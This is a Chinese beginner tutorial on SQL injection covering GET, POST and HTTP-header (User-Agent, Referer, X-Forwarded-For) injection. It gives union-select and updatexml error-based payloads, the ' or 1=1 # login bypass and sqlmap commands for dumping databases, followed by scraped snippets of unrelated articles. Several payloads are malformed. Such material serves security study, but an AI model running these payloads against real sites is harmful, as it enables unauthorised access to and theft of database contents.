网络安全从入门到精通(第四章-2)GET&POST&HEAD注入

本文内容:

  • GET注入
  • POST注入
  • Head注入
  • sqlmap工具注入


get&post为显错注入:

head为报错注入:

1,GET注入:

  get注入属于显错注入。

    1.判断注入点:

      最古老的的方法是:

        http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常。

        http://www.xxx.com/new.php?id=1 and 1=2 页面显示错误。

      最简单的判断方法是:

        http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常。

        http://www.xxx.com/new.php?id=1 and 1=1‘ 页面显示错误。

      使用以上两个方法可能会被ban,然后我们还可以进行其他判断方法,比如:        

        http://www.xxx.com/new.php?id=1 页面显示id=1的新闻

        http://www.xxx.com/new.php?id=2-1页面显示id=1的新闻

      或者直接or sleep(5)

    我们在判断出某地方存在sql注入后,就要建立模型,想想这个sql注入的sql语句会是什么样的。

    我们从一个表里获取其他表里的数据,应该怎么做?

    联合查询

    但是使用联合查询,是需要条件的。我们应该怎么做呢?

    具体看以下流程:

    2.GET注入基本流程:

      msql注入:

      1.判断是否存在sql注入

        and 1=1

        and 1=2

      2.判断当前页面字段数:

        id=1 order by 1,2,3……

      3.判断回显点:加入回显点是3

        http://www.xxx.com/new.php?id=1 union select 1,2,3……

      4.查询当前数据库:

        http://www.xxx.com/new.php?id=1 union select database()

      5.查询当前表名:

        http://www.xxx.com/new.php?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

      6.查询当前字段名:

        http://www.xxx.com/new.php?id=1 union select1,2,group_concat(column_name) from information_schema.columns where table_name="查询得出的表名"

      7.查询字段内容:

        http://www.xxx.com/new.php?id=1 union select1,2,group_concat(查询得出的字段名) from 查询得出的表名

    解释:

      1.因为联合查询需要相同的字段数,所以一开始我就先进行了字段数的判断,使用的是order by。

      2.因为GET注入属于显错注入,所以我们要判断它的回显点,这样方便看查询的内容。

      3.select database(),是msql查询当前数据库的sql语句,学过mysql的应该没有什么问题。

      4.然后就是查询表、和查询字段了,是因为mysql在5.0以上版本中加入了information_schema这个系统自带库,其中保存着关于mysql服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。

      information_schema.tables实际上是选中information_schema库中的tables表

      information_schema.columns存放字段名和表名的对应。

      5.网站有些时候如果数据库查询出多行数据,它只有输出第一行,所以我们group_concat(),将查询到的数据,一行显示。

以上就是GET注入,这里只是手工注入,文章最后会一起讲一下使用工具注入。

2,POST注入:

  1.注入攻击的本质,是把用户输入的数据当做代码执行。

  关键条件:

    用户能够控制输入

    原本程序要执行的代码,拼接了用户输入的数据。

  POST:注入属于显错注入的一种。

  POST注入就是使用POST进行传参注入,本质上和GET类型没有什么区别。

  POST注入高危点:

    登录框、查询框等各种和数据库有交互的框。

  最经典的POST注入判断,莫过于万能密码‘ or 1=1 #

  在可以看到代码的情况,就可以它的sql语句是否进行敏感处理。

  2.POST注入的基本流程:

    mysql注入:

      1.判断是否存在SQL注入:

        ‘ or 1=1#     

      2.判断当前页面字段数:

        ‘ or order by 1,2,3……#

      3.判断回显点:加入回显点是3

        ‘ or union select 1,2,3……#

      4.查询当前数据库:

        ‘ or union select database() #

      5.查询当前表名:

        ‘ or union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

      6.查询当前字段名:

        ‘ or union select1,2,group_concat(column_name) from information_schema.columns where table_name="查询得出的表名" #

      7.查询字段内容:

        ‘ or union select1,2,group_concat(查询得出的字段名) from 查询得出的表名 #

    解释:

      1.基本流程与GET注入一样,就是判断是否存在注入的方式有所不同。

      2.进行判断是否存在sql注入,字符串闭合时,一定要注意代码中前字符串是单引号还是双引号。

以上就是POST注入,这里只是手工注入,文章最后会一起讲一下使用工具注入。    

3,HEAD注入介绍

  PHP全局变量-超全局变量:

    PHP中许多预定义变量“超全局的”,这意味着它们在一个脚本中的都可调用。

    $_REQUSET[获取GET|POST|COOKIE 在新版本中已经无法获取了]

    $_POST[获取POST传参]

    $_GET[获取GET传参]

    $_SERVER[包含了注入头信息(header)、路径(path)、以及脚本位置(script locations)等等信息]

    $_SERVER功能非常强大。

  常用:

  $_SERVER[‘HTTP_REFERER‘] 获取Referer请求头数据。

  $_SERVER[‘HTTP_USER_AGENT‘]获取用户相关信息,包括用户浏览器、操作系统等信息。

  $_SERVER[‘REMOTE_ADDR‘]浏览网页的用户IP。

  HEAD注入是将采集到的信息放入数据库中,相当于插入语句,[插入语句是没有回显的]。

  没有回显,就不能通过联合查询了,因为没有输出,这种情况:1使用报错注入2.盲注。

  这里我们就要介绍一个新函数了:updatexml()

  语法:updatexml(目标xml内容,xml文档,更新的内容)

    举例:updatexml(1,concat(0x7e,(select database()),0x7e),1),)#

    0x7e是一个特殊符号,然后不符合路径规则报错]。

    0x:代表十六进制

    7e:代表~符号

  1.HEAD注入基本流程:一般情况下是在登录成功之后,如果不知道账号和密码,可以使用burpsuite爆破一下。

   head注入就需要使用到我们的抓包工具:BurpSuite了

   head注入需要看是用什么方式获取信息比如:HTTP_REFERER、USER_AGENT、REMOTE_ADDR

   以HTTP_REFERER、USER_AGENT、X_FORWAREDE_FOR为例:

   假如:HEAD注入,sql插入语句为两个参数。

    mysql注入:

      1.抓包。

      2.判断是否存在sql注入:

        在抓包数据内添加代码,  ‘ updatexml(1,concat(0x7e(select database()),0x7e),1)1,)#

        如果是user_agent就在user_agent处添加,

        如果是referer就在referer处添加,只是添加位置不同而已。

        如果是x_forwarede_for,就在数据包内添加x_forwarede_for,在将代码添加上

      3.查询表:

        updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())0x7e),1),1)#

      4.查询字段:

        updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="查询得出表")0x7e),1),1)#

      5.查询内容:

        updatexml(1,concat(0x7e,(select group_concat(查询得出字段名)from 查询得出表名)0x7e),1),1)#3

    补充:x_forwarede_for是用来识别通过HTTP代码或负载均衡方式连接到web服务器的客户端最原始的IP地址的HTTP。

         upadatexml()是往数据插入两个~,一个在开始,一个在结尾,可以通过这种方式查看,是否对输出长度做了设置。

4,使用sqlmap注入基本流程:

    方式一:

      1.查看是否存在注入,是什么类型的注入

        sqlmap -u url --form

      2.爆库:

        sqlmap -u url --form --dbs

      3.爆表:

        sqlmap -u url --form --tables -D 库名

      4.爆字段:

        sqlmap -u url --form --columns -T 表名 -D 库名

      5.爆内容:

      sqlmap -u url --form --dump -C 字段名 -T 表名 -D 库名

    方式二:可以使用burpsuite抓包,存到txt文档中

        假设burpsuite抓包存的txt文档名字是1.txt

        使用抓了数据包,测试注入点,需要加*,精准打击。

      1.查看是否存在注入,是什么类型的注入

        sqlmap -r /root/桌面/1.txt

      2.爆库:

        sqlmap -r /root/桌面/1.txt --dbs

      3.爆表:

        sqlmap -r /root/桌面/1.txt --tables -D 库名

      4.爆字段:

        sqlmap -r /root/桌面/1.txt --columns -T 表名 -D 库名

      5.爆内容:

        sqlmap -r /root/桌面/1.txt  --dump -C 字段名 -T 表名 -D 库名

与君共勉:

  现在不玩命,

  将来命玩你。

  比你差的人还没放弃,

  比你强的人仍在努力,

  你有什么资格说“我无能为力”?

  混就混出个名堂,

  学就学出个模样。

  翻脸不如翻身,

  生气不如争气。

  也别假装很努力,

  毕竟结果不会陪你演戏。

原文地址:https://www.cnblogs.com/xz25/p/12584897.html

时间: 2024-10-07 06:31:37

网络安全从入门到精通(第四章-2)GET&POST&HEAD注入的相关文章

源码-PL/SQL从入门到精通-第四章-PL/SQL控制语句(基础中的基础)

控制语句对任何一门语言.任何一个程序员而言,都是基础中的基础. 学了PL/SQL,才体会到Java语法的简洁,简直不是一个时代的东西:当然,他们的定位本来就不一样,不能以己之长比之他人之短. --第4章开始 --代码4.1 最简单的IF语句使用示例 DECLARE v_count NUMBER(10) := 0; --定义计数器变量 v_empno NUMBER(4) := 7888; --定义员工编号 BEGIN SELECT COUNT(1) --首先查询指定的员工编号是否存在 INTO v

网络安全从入门到精通(第一章-2)快速自建web安全测试环境

本文内容 动态语言 常见服务器脚本 动态语言可以做什么? 常见服务器环境快捷搭建软件 快速的搭网站的环境 CMS 1,动态语言:是对服务器行为的编程,这被称为服务器端脚本或服务器脚本. 2,常见服务器脚本: Asp,Aspx(Windows) PHP(全平台) JSP(全平台) Python(全平台) 3,动态语言可以做什么? 1.动态地向Web页面编辑.改变或添加任何的内容. 2.对有HTML表单提交的用户请求或数据进行响应. 3.访问数据或数据库,并向浏览器返回结果. 4.为不同的用户定制页

网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

本文内容: DNSLOG的函数解析 UNC路径 DNSLOG的使用场景 DNSLOG注入的具体流程 1,DNSLOG的函数解析: Mysql函数:LOAD_FILE()读取文件的函数. 读取字符串并返回文档内容未字符串,要使用次函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限. 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接收的数据包大小函数,默认1MB). 如果该文件不存在或者无法读取,因为前面的条件之一不满足,函数

网络安全从入门到精通 (第五章-3) MSSQL反弹注入

本文内容: MSSQL反弹注入使用场景 MSSQL反弹注入语句解析 MSSQL反弹注入具体流程 MSSQL显错注入具体流程 1,MSSQL反弹注入使用场景: 1.前言: MSSQL注入攻击是最为复杂的数据库技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句早就了新颖独特的攻击思路. 2.MSSQL反弹注入: 明明是SQL注入点,却无法进行注入,注入工具猜解的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是在注入攻击中常常遇到的问题. 为了解以上这些疑难杂症,

SpringMVC从入门到精通之第四章

第一个知识点:@Controller注解,用于标识这个类是一个后端控制器(类似struts中的action),主要作用就是接受页面的参数,转发页面.中间的业务逻辑是调用业务类处理的这个就是MVC设计模式的思路.我们来看下这个注解的源码: package org.springframework.stereotype; import java.lang.annotation.Annotation; import java.lang.annotation.Documented; import java

ArcGIS for Desktop入门教程_第四章_入门案例分析 - ArcGIS知乎-新一代ArcGIS问答社区

原文:ArcGIS for Desktop入门教程_第四章_入门案例分析 - ArcGIS知乎-新一代ArcGIS问答社区 1 入门案例分析 在第一章里,我们已经对ArcGIS系列软件的体系结构有了一个全面的了解,接下来在本章中,将通过一个案例来熟悉ArcGIS for Desktop的使用,从解决问题的过程中,逐渐适应ArcGIS桌面的界面和操作方式. 本章的练习数据是一个住宅小区的简单平面示意图,需要在已有的基础上把楼房的轮廓补充完整,并加以整饰,完成一幅地图. 1.1 打开地图文档并浏览

GPU 编程入门到精通(四)之 GPU 程序优化

博主因为工作其中的须要,開始学习 GPU 上面的编程,主要涉及到的是基于 GPU 的深度学习方面的知识,鉴于之前没有接触过 GPU 编程.因此在这里特地学习一下 GPU 上面的编程.有志同道合的小伙伴.欢迎一起交流和学习,我的邮箱: [email protected] . 使用的是自己的老古董笔记本上面的 Geforce 103m 显卡,尽管显卡相对于如今主流的系列已经很的弱.可是对于学习来说,还是能够用的.本系列博文也遵从由简单到复杂.记录自己学习的过程. 0. 文件夹 GPU 编程入门到精通

Ansible 一步一步从入门到精通(四)上

一:一个简单的Playbook playbook比起shell脚本的优势,是幂等性,值得是运行一次和多次的结果都是一样的,不会对系统有影响 一个简单的playbook:   1 ---   2 - hosts:  all   3   tasks:   4   - name: Install Apache   5     yum:  name={{ item  }} state=present   6     with_items:  #定义上面的item变量   7     - httpd   

【PHP】最详细PHP从入门到精通(四)——PHP中的字符串

 PHP从入门到精通 之PHP中的字符串 大家好,继续跟进PHP最详尽的知识更新,本周,跟大家重点讲一下PHP中字符串的使用.在PHP中,字符串是非常重要的一个概念,基本上大家想到的字符串的处理功能,系统都已有相关函数了.php自诞生之初,就是为web开发而来的,网站开发中,字符串处理,是php的一大亮点. 下面博主将带给详细的给大家介绍PHP中常用的字符串: 字符串三种声明方式 1."":双引号中可以解析变量"{$a}",双引号中可以使用任何转义字符:2.'':单